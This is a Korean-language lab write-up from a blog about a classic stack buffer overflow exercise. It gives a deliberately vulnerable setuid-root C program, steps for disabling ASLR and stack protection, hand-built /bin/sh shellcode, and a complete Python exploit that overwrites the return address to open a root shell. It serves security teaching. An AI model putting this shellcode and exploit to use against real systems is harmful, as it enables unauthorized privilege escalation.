Iriton's log

Stack Overflow 실습 본문

Security Lab

Stack Overflow 실습

Iriton 2023. 11. 20. 15:34

stack.c (타겟)


/* This program has a buffer overflow vulnerability. */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int foo(char *str)
{
    char buffer[100];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[400];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 300, badfile);
    foo(str);

    printf("Returned Properly\n");
    return 1;
}

 
해당 파일에서는 badfile을 다루고 있기에 
touch badfile 명령어로 badfile을 만든다.
 

gcc -o stack stack.c // 실행 파일로 컴파일
sudo chown root stack // 소유자 root로 변경
sudo chmod 4775 stack // SETUID 프로그램으로 변경

stack 실행 파일을 SETUID 설정을 줘서 root 권한으로 실행할 수 있도록 한다.

SETUID의 취약점 또한 이용할 것이기 때문이다.

이 실습의 결과는 해당 root 권한을 이용하여 root shell을 여는 것이다.

exploit.py 제작 과정


1.     /bin/sh 명령어 실행 소스 코드 작성

execve 명령어를 통해 /bin/sh 명령어를 실행한다.
 

2.     컴파일

stack.c를 디버깅 하기 위해서 gcc 컴파일 옵션을 추가해야 한다.
 
-z execstack : 스택을 실행 가능하게 한다.
-m32 : 32비트 아키텍처를 대상으로 컴파일 하도록 지시한다.
-fno-stack-protector : 스택 보호기를 비활성화 하여서 버퍼 오버플로우 방지를 끈다. (해당 명령어를 사용하지 않고 disas 할 시에 main 함수에서는 stack_chk_fail_local이 떠서 추가해뒀다.)
-g : 디버그 정보를 포함하도록 한다.
-static : 옵션은 컴파일된 프로그램에 동적 라이브러리(dynamic library)를 사용하지 않고, 모든 라이브러리를 정적으로 링크하도록 하는 옵션. 정적 링크를 사용하면 컴파일된 실행 파일에 모든 라이브러리 함수가 포함되므로, 실행 파일이 외부에 의존하지 않고 독립적으로 실행될 수 있게 됨. (해당 옵션이 없으면 disas execve의 제대로 된 결과를 띄우지 못함. execve는 Dynamic Link Library로 링킹되어 있기 때문에 정적 링크 옵션을 추가하여야 되는 것이다.)
 

3.     디버깅

-      disas main : 메인 함수 디스어셈블리

execve 함수가 호출되는 걸 볼 수 있다.
execve 함수를 통해 쉘을 실행시키기에 해당 함수가 어떻게 동작하는지 파악해야 한다.
 

-      b execve : execve에 브레이크
-      continue : run 되고 있는 상태에서 다음 브레이크까지 (브레이크가 없다면 끝까지) 실행하기 위한 명령어
러프하게 어셈블리어를 살펴 보면
-      mov edx, DWORD PTR [esp+0x10]
-      mov ecx, DWORD PTR [esp+0xc]
-      mov ebx, DWORD PTR [esp+0x8]
-> 스택에서 가져온 값(파라미터)을 edx, ecx, ebx 레지스터에 저장한다.
이것만 보면 저장한 값이 뭔지는 소스 코드를 알기에 유추는 가능하다.
 

-      mov eax, 0xb : eax 레지스터에 0xb 즉 10진수 11을 저장한다.
-      call DWORD PTR gs:0x10 : 원형은 int 0x80에 해당한다. 이는 지정된 영역인 11에 해당하는 system call을 수행하는 것이다. 찾아보니 0xb에 해당하는 건 execve 함수였다.
 

disas main에서 execve의 함수 시작 주소를 알 수 있었다.
-      b *0x806dec0(execve 함수 시작 주소)
-      run
하면 위와 같이 register와 stack의 상태가 보인다.
esp는 0xffffd0bc를 가리키고 있었다.
여기서 +10, +c, +8 한 값은 각각 0xffd0cc, 0xffd0c8, 0xffffd0c4이다.
stack에서 확인해 보면
해당 주소는 /bin/sh 문자열이 들어있는 주소, /bin/sh 문자열, 0 값을 가리키고 있다.
 
이로 인해 execve 함수에서 edx, ecx, ebx 레지스터에 저장한 값을 알 수 있다.
함수의 인자가 들어간 것이다.
 

4.     어셈블리 코드 작성

작성 전에 bin과 sh를 어떻게 표현하는지 알기 위해서 x/4x 명령어를 사용한다.
x/4x : 메모리 내용을 hex 값으로 표현

 
리틀 엔디안 기법이라 거꾸로 변환해 보면 bin : 0x0068732f, sh : 0x6e69622f 인 걸 알 수 있다.
 

push 0x0 // NULL
push 0x0068732f // /sh\0
push 0x6e69622f // /bin
mov ebx, esp // 현재 esp(/bin/sh\0 문자열 넣은 지점)
push 0x0 // NULL
push ebx // /bin/sh\0의 포인터
mov ecx, esp //현재 esp(/bin/sh\0 포인터)를 ecx에
mov edx, 0 
mov eax, 0xb // system call vector 지정
int 0x80 // system call

 
이를 AT&T 문법으로 작성한다.
(숫자 값 앞에는 $, 레지스터 앞에는 %를 써야 하며, 인텔과 인자 위치가 반대이다.)
 

해당 코드로 컴파일 하면 NULL이 많다.
$0x0을 push 하는 게 아니라 다른 레지스터에 0을 넣은 후 그것을 push하여야 크기 불일치 문제가 해결이 되며 NULL이 없어질 것이다.
 
수정 코드
.global main
 
main:
xor %eax, %eax
push %eax
push $0x0068732f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
mov %eax, %edx
mov $0xb, %al
int $0x80
 

5.     기계어 코드 추출

-      objdump -d -M intel shell(실행파일이름)
또는
-      objdump -d shell | grep \<main\> -A13
명령어로 기계어 코드를 확인할 수 있다.
 
추출한 기계어 코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
 

6.     exploit 코드

#!/usr/bin/python3
import sys

shellcode= (
    "\x31\xc0"             # xorl    %eax,%eax
    "\x50"                 # pushl   %eax
    "\x68""//sh"           # pushl   $0x68732f2f
    "\x68""/bin"           # pushl   $0x6e69622f
    "\x89\xe3"             # movl    %esp,%ebx
    "\x50"                 # pushl   %eax
    "\x53"                 # pushl   %ebx
    "\x89\xe1"             # movl    %esp,%ecx
    "\x99"                 # cdq
    "\xb0\x0b"             # movb    $0x0b,%al
    "\xcd\x80"             # int     $0x80
).encode('latin-1')

# Fill the content with NOPs
content = bytearray(0x90 for i in range(300))      

# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode                       

# Put the address at offset 112
ret = 0xffffcecc + 200                                   
content[112:116]  = (ret).to_bytes(4,byteorder='little')  

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

 
A.  shellcode: 이 부분은 셸 코드를 나타냅니다. 각각의 \x로 시작하는 16진수는 해당하는 어셈블리 명령을 나타낸다. 주로 /bin/sh를 실행하는 역할을 한다.
B.   content: 300바이트의 NOP으로 초기화된 바이트 배열을 생성한다.
C.   start: shellcodecontent 배열의 끝에 삽입하기 위한 시작 위치를 계산한다.
D.  content[start:]: start 위치부터 shellcodecontent에 삽입한다.
E.   ret: 반환 주소를 조작하기 위한 값이다. 현재는 하드코딩되어 있으며, 주석에서 주어진 주소(0xffffcecc)에서 200바이트 앞으로 이동한 값을 사용하고 있다. 이때, 스택 주소인 0xffffcecc는 설정에 따라 랜덤이 될 수 있고 운영체제마다 다르게 주어질 수 있으니 gdb에서 확인해야 한다. (이는 아래에서 설명할 예정이다.)
F.   content[112:116]: ret 값을 little-endian 형식으로 변환하여 content의 112~115 바이트 위치에 삽입한다.
G.  파일 생성: content를 'badfile'이라는 파일로 저장한다.
 

7.     exploit

 
./exploit.py 으로 실행하면 badfile의 내용을 확인해 보면 알 수 없는 문자가 삽입되어 있다.

hex editor로 열어서 확인해 본다.
중간에 hex 값이 보인다.
리틀 엔디안으로 기입된 것이니
ff ff cf 94 인 걸 알 수 있다.
해당 값은 buffer + 200 즉, ff ff ce cc + c8 의 값인 거다.
리턴 주소가 112부터 116에 잘 삽입이 된 것을 알 수 있다.
NOP 명령어 반복 끝에 쉘 코드도 잘 삽입 되어 있다.
 
 
이제 stack.c를 컴파일 하여 stack 실행파일로 만든다.
-      gcc -o stack stack.c
-      sudo chown root stack : 소유자를 root로
-      sudo chmod 4775 stack : setuid 프로그램으로 만든다.
 

./stack을 실행하면 badfile 파일과 함께 실행되며 쉘 코드가 실행되어 배시쉘을 접근할 수 있다.
이때, setuid 프로그램이며, 소유자가 root이기에 root 권한으로 접근할 수 있다.

 

+ stack 주소 확인(gdb를 이용한 디버깅)


우선, kernel.randomize_va_space=0 명령을 실행해서 스택과 힙의 위치가 랜덤지정되지 않게 한다.
0값은 randomization을 diasble하는 옵션이다.

stack.c를 디버깅 하기 위해서 gcc 컴파일 옵션을 추가해야 한다.
-z execstack : 스택을 실행 가능하게 한다.
-m32 : 32비트 아키텍처를 대상으로 컴파일 하도록 지시한다.
-fno-stack-protector : 스택 보호기를 비활성화 하여서 버퍼 오버플로우 방지를 끈다.
-g : 디버그 정보를 포함하도록 한다.
 
gdb stack_dbg 명령어로 stack_dbg를 디버깅한다.
 

b 명령어를 통해 foo에 브레이크를 걸어준다.
run 명령어로 실행하면 foo 전까지 실행된다.
 

브레이크 된 곳에서 p 명령어로 ebp를 보면 이전의 ebp 값이 보이기 때문에
next 명령어로 한 줄 실행하여 foo에 진입한 뒤 ebp 값을 알아야 한다.
 

ebp와 buffer의 사이는 decimal 값으로 108 차이가 난다.
리턴 주소의 4바이트까지 합치면 112만큼 차이가 난다.
여기서 buffer를 exploit.py 코드에서 수정이 필요하다.
 

쉘 코드를 실행할 때 반환 주소를 설정하는 변수인 ret이 현재 buffer 값에서 +200 떨어져 있는 곳에 위치하도록 한다.
아까 Hex Editor에서 본 걸 토대로 112번째부터 116까지 리틀엔디안 방식으로 삽입되었는 걸 확인할 수 있었다.
 
 

Comments